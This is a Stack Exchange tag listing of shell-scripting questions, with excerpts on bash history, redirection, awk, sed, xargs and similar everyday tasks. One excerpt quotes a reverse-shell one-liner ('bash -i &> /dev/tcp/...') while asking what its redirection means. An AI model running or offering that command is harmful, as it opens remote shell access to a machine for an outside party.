Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [shell]

The shell is Unix's command-line interface. You can type commands in a shell interactively, or write scripts to automate tasks. Use this tag for questions applying to /bin/sh and most compatible shells (ash, bash, ksh, zsh, …). For shell scripts with errors, please check them in http://shellcheck.net before posting here.

0
votes
2answers
40 views

Create a wrapper around bash using a bash function

I am kinda wary of messing with bash history settings and I just want to write my own custom bash history. I thought about using a bash function like this: bash(){ # write to a custom history file ...
1
vote
1answer
59 views

Is there a way to save all bash commands from all terminals to a single file? [duplicate]

Is there a way to save all bash commands from all terminals to a single file? By default, different terminals have different history and that gets confusing. I'd like to save all history to a single ...
1
vote
2answers
61 views

Local/Remote ls

I want to grab relevant lines out of an SNMP logger in real-time and move them over to my application server for checking. The second half is fine, scp is doing the trick. The first half is causing me ...
3
votes
0answers
30 views

Shell: Mounting to CWD does not update in shell session [duplicate]

When mounting a partition into my CWD (mount /path/do/devxy $(pwd)), the current shell session does not recognize it, e.g. find does not show any contents of the partition and umount $(pwd) succeeds ...
2
votes
1answer
58 views

How to execute something in current shell [duplicate]

I want to create a bash script or something similar that I can execute in the current shell: echo '#!/bin/bash export foo="bar" ' > zoom.sh but if I want to run this script in the current ...
1
vote
2answers
51 views

naming output file in while loop

I have a file input.txt with three columns A B Z C D Y E F X I want to read the first two fields, perform some function and name the output with the last field. while IFS=" " read -r f1 f2 f3; do ...
0
votes
1answer
27 views

Expand alias in ZSH history

I have the following alias in my zshrc alias nif='nvim $(rg --files | fzf -m || echo +qa)' Essentially, I use rg (ripgrep) to show all the files in the current directory and in sub directories. This ...
0
votes
1answer
40 views

Since aliases are not inherited, is there any alternative to exporting the executable on the PATH?

I am trying to setup a system to switch between bash versions on a Mac. I have this which works: change_bash_version(){ if test "$1" == "3"; then export PATH="$HOME/bash/versions/3.2.57:${...
1
vote
2answers
98 views

How to convert absolute path to relative path? [duplicate]

How do I use a command to convert an absolute path to a path relative to the current working directory?
1
vote
1answer
32 views

How to source inline text

When you are creating tutorials online for people to use in a single terminal sometimes it's nice to source inline code...however none of these worked as I would expect. I would expect foo to be "bar" ...
2
votes
1answer
35 views

Bash script to count number of executions instances does not work

I am writing a script that detects if there is any instance of it already running on my Linux machine and shows on screen the number of instances. The content of the "detect_itself.sh" script is: #!/...
0
votes
1answer
15 views

word unexpected (expecting “then”) in bash script

Hello this is my script. #!/bin/bash service=dmsspeechbatch-0.0.jar #(name of the service) if (( $(ps -ef | grep -v grep | grep $service | wc -l) > 0 )) then echo "$service is running" else cd /...
-1
votes
1answer
41 views

Alignment of variable in column using shell script.File saved in .json format [closed]

myarray=$fruit,$count,$amount >>fruitlist.json Output which I got : "Apple",1,"Rs.50" "Orange",2,"Rs.500" "Grapes",3,"Rs.100" Expected Output: FRUIT QUANTITY PRICE "Apple" 1 "...
-1
votes
2answers
36 views

Implement file read option from command line - “anonymous” file [closed]

I have a command line program like so: my_cmd -f <file> which would normally be used like: my_cmd -f some-file.json my question is - is there a way to read an inline file, something like ...
0
votes
2answers
55 views

How to read stderr from the process running in the background?

I wanna send the daemon into the background and only continue my script execution when the daemon outputs the particular line to the stderr, something among the lines: # Fictional daemon { for x ...
2
votes
1answer
37 views

How to send a hex bytes to a serial port in debian?

I have a device connected in my raspi3 pi@raspberrypi:/home $ sudo bash main.sh %s\t%s\n 0 Bus 001 Device 004: ID 1a86:7523 QinHeng Electronics HL-340 USB-Serial adapter %s\t%s\n 1 Bus 001 Device 005:...
-2
votes
1answer
73 views

Ubuntu - View data Lines 10 by 10 [closed]

I need to write a script to view /etc/passwd 10 by 10 with pages numbers under. So it will display the next 10 lines after pressing a button. What command should I use? Have tried to check awk, head,...
-2
votes
1answer
43 views

Insert today's date at the end of a text file - using bash

I have a text files that is generated through daily running bash script - I want to append a date field into that text file - how can I achieve it ? Name NUM_OF_USERS A------10 B------20 **date-...
-2
votes
1answer
27 views

Use du to list size of top 20 largest folders/files in current directory recursively in bytes and human readable format [duplicate]

Few things to be achieved 1. Recursively get top 20 largest folders/files 2. Get their sizes in bytes as well as human readable format
4
votes
1answer
65 views

SELinux: running a custom shell binary from /etc/passwd

----- Problem -------- I have CentOS 7.6 running on my system. I want to invoke a custom shell instead of standard shell in the /etc/passwd file. I have SELinux enabled, and for some reason sshd_t ...
0
votes
1answer
13 views

Dynamically passing flag to xargs

I have this: r_flag=' -r '; docker ps -aq | xargs "$r_flag" docker rm -v | cat; and I get this error on ubuntu: xargs: -r : No such file or directory why is that? I am just trying to pass the ...
5
votes
1answer
99 views

What does the 0>&1 shell redirection mean?

trying to understand the command: bash -i &> /dev/tcp/10.3.0.13/222 0>&1 it means that the STDIN of "bash -i" will get the STDOUT contents?
-1
votes
2answers
60 views

How to shorten image sequence output in tree command?

I'm in a directory where running tree command produces something like this: ├── directory1 │  └── image_sequence │  ├── image.0001.jpg │  ├── image.0002.jpg │  ├── image.0003.jpg │  ...
-6
votes
1answer
52 views

Script to check folder size reaches 50 GB in Linux file system and send mail to users

I am maintaining lot of data for devTeam in my firm, I want shell script to check the file system /data5 contains below folders, if any folder crosses 50 GB i would get alert mail, Below folders ...
1
vote
1answer
26 views

how to change the input box color while using form property in shell script using dialog

how to change the input box color while using form property in shell script using dialog
1
vote
0answers
97 views

Browse the internet from the command line

I know there are command-line web browsers like w3m lynx etc. But I am looking for a simpler tool to just print search queries. Somewhat like curl does, but more nicely formatted. Like if I run https:...
1
vote
1answer
27 views

screen logging - How to ommit interactive shell control characters and prompt?

One of my first questions. Please comment if further explanation or information is required or if the question is not like it's supposed to be here I'm using screen to automatically start servers (...
3
votes
0answers
25 views

Should I set the locale to `C` when matching a range of numbers?

If I wanted to search for lines in a file that contain a or b or c or d I would run LC_COLLATE=C grep -E '[a-d]' file_to_search or LC_ALL=C grep -E '[a-d]' file_to_search If I fail to set the ...
1
vote
0answers
42 views

Why can I change permissions for a file with 000 permissions? [duplicate]

I have the following file: ------- 1 user user 0 may 26 14:07 a.tar.gz When I execute chmod 777 a.tar.gz, the file permissions change. Why does this happen, and how can I block it?
-2
votes
1answer
79 views

What is a system tool? [closed]

I frequently come across the term system tool, so I wanted to understand the exact meaning of it in Linux. Which of the following three explanations of a system tool in Linux is correct? Is a system ...
2
votes
1answer
52 views

Using read command to read file by line in Bash doesn't work

I have a text.txt file like this line1 line2 line3 I want to write a script that loops over each line and echo out modified line1 modified line2 modified line3 This is the script which is a very ...
0
votes
1answer
60 views

how to add additional command-line usage scenarios to script?

how can one make this script work with both input usage scenarios below? #1 ./script.sh #2 ./script.sh input.file contents of script.sh for i in *.mp4; do ffmpeg -i "$i" "${i%.*}.mp4 ...
1
vote
1answer
33 views

Test if any file was downloaded with SFTP command

How to get the return code of SFTP command? I do this to download all files from a directory. But if the directory is empty the command returns 1 How to fetch the actual code for File not found? ...
4
votes
2answers
165 views

Use backslash or single-quotes for field separation

I have always been using single-quotes for the field separation like: awk -F';' ... Quite new to me is the way of using a backslash like: awk -F\; ... is there a technical difference for either, or ...
0
votes
3answers
52 views

How do I use command line arguments passed to a shell script that uses xargs?

I have a script that will iterate a set of git checkouts and run a git command in each directory. I now want to be able to pass a parameter to the shell script from the command line and have that ...
0
votes
1answer
30 views

Select lines of text files which have id-string combinations listed in another file

How do I get only the lines with the strings given by list_of_od_strings.txt file_with_strings_in_lines.xml? This question is similar to Select lines from text file which have ids listed in another ...
0
votes
1answer
20 views

syntax error near unexpected token `done' with 2 files generated

I am encountering syntax error when I am trying the below code to obtain the 2 output files namely input1,input2 as described below. test.txt Q L A D 1 10 2 21 3 22 4 5 5 9 while read -r line; ...
0
votes
2answers
52 views

Skip lines with matching pattern and delete lines with condition matched

I have file with following format : Q L A D 1 10 2 21 3 22 4 5 5 9 I need to skip lines which starts with 'Q' or 'L' and delete lines where second column has value greater than 10 and save the ...
0
votes
0answers
36 views

Examples of common programs

Is there a some man-like program (or site/book) that can show me simple examples of common tools usage? So i can type in terminal show-example grep and it will output ... For matching multiple ...
0
votes
1answer
15 views

Grep matching and looping through directory and store in different output files

I have 3 files as follows: 1.out a b c 2.out g h abcd a h 3.out b c e a I need one line above and one line below in the file where the pattern 'a' matches and stored in the new corresponding ...
0
votes
2answers
41 views

AWK - Need to display total value of field and field number

I have data below that needed to count or total the value start with specific field. Sample below the needed field to compute is from Field5. For sample Field5 total is 42, field6 total is 107, etc.. ...
1
vote
1answer
42 views

Automatically copy files to external USB drive when connected to laptop

I want to copy some files/folders to a USB Flash Drive, SSD, or HDD after I connect them to my laptop. I don't want to detect the USB, do extra stuff, etc.. I just want to run a script from my ...
0
votes
1answer
34 views

Using the shell, how to determine percentage of torrent file downloaded?

I am busy downloading files over Deluge and would like to know how to check the percentages of the files downloaded, using the Terminal. Ideally, I would like to be able to check individual files as ...
2
votes
1answer
37 views

Perl Script in Bash Here Document (does not output variable)?

How come the following perl code, mkdir("foo"); print "foo: $!\n"; mkdir("foo"); print "foo: $!\n"; Will output the following (in a directory without a foo) perl ./asdf.pl foo: foo: File exists ...
1
vote
2answers
34 views

sed: -e expression #1, char 35: unterminated `s' command

I have a text file with a line like this: SET @@GLOBAL.GTID_PURGED='abae51b1-e1dc-11e8-bfd0-5665b72f6318:1-12559259'; Using sed, I would like to remove that line. I have it partially working in that ...
-1
votes
2answers
77 views

How to use SED or AWK instead of GREP as it is taking lot of time in shell script

I wrote the below code to extract the testcase name and the PASSED/FAILED status. The testcase log is like below: : In between there are so many lines. I just want to extract the testcase name ( say ...
1
vote
1answer
19 views

How to fix meta key not always working to trigger start menu on KDE?

KDE assign meta key to trigger the menu window but depending on the situation this does not always work. This issue seem to be fixed on newer version of KDE but this is not yet widely distributed. ...
16
votes
1answer
966 views

What is the meaning of “<&3” and “done < file11 3< file22”

I have the following script: while read lineA && read lineB <&3 do echo "$lineA" echo "$lineB" echo done < file11 3< file22 This code is working fine. But I don't ...
0
votes
0answers
45 views

Write stdout to a temp file using command line

Say for example we wanted to write the env from the host to Docker container, one way would be to use a temp file: env > env_file && docker run --env-file env_file image_name to avoid a ...
0
votes
1answer
98 views

Parsing bash output

#!/bin/bash start(){ printf 'Real IP: %s\n' "$(curl -s ifconfig.co)" set -- /etc/openvpn/ovpn_tcp/*.nordvpn.com.tcp.ovpn shift $(( RANDOM % $# )) screen -S vpn -dm openvpn "$1" # connect ...